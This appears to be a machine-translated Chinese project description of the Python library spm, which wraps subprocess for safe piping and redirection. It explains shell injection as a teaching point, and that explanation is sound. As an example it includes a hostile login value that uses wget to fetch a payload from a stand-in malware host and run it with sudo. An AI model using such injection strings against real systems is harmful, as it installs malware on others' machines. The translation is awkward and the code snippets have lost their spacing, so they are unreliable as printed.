subprocess manager提供了一个简单的编程接口,可以安全地运行、管道化和重定向子流程的输出。
spm的Python项目详细描述
>>>importspm>>>spm.run('echo','-n','hello world').stdout.read()'hello world'>>>importfunctools>>>git=functools.partial(spm.run,'git')>>>git('status','-z').stdout.read().split(b'\x00')[' M spm.py','']
这在python标准库的基础上提供了一个非常薄的kiss层 subprocess模块。这个库支持Python2和Python3。
这使得管道子流程和管道子流程输入/输出变得容易 文件。
它只有四条规则:
- 简单的编程接口
- 不要重装轮子。(它尝试使用subprocess标准 尽可能多的模块)
- 它只会做一件事,试着把它做好。
- 使用参数列表而不是一个命令字符串。
安全子流程调用
对于那些不懂最后一条规则的人。有两种方法 在python中调用子进程:一个方法是不安全的,另一个是 安全。
importsubprocess# Insecure subprocess invocationsubprocess.check_call("echo foo",shell=True)# Secure subprocess invocationsubprocess.check_call(['echo','foo'])
第二个是安全的,因为它可以防止shell代码注入。如果我们结束 简化,第一种方法,可以这样实现:
definsecure_check_call(command_line):""" Same as check_call(shell=True) """# Runs /bin/bash -c "the given command line"subprocess.check_call(['/bin/bash','-c',command_line])
我们以下面的代码为例:
importsubprocess# Get insecure and unchecked data from a userfromsomewhereimportget_login_from_user()defcreate_user():cmd="sudo useradd '{}'".format(get_login_from_user())subprocess.check_call(cmd)
如果用户输入登录名,则可以插入代码 ' || wget http://malware.example.com/malware-O /tmp && sudo /tmp/malware。 因为这将执行: sudo user '' || wget [...]-O /tmp && sudo /tmp/malware。
你说吻是什么意思?
吻失去了原来的感觉。现在它只是一个时髦的词,意思是 使用我的图书馆,因为它很酷。
在这里我指的是吻的本意:保持简单和愚蠢。
- 简单:这个库是一个少于500行的文件(不包括测试)
- 愚蠢:这个库有两个函数:pipe()和run()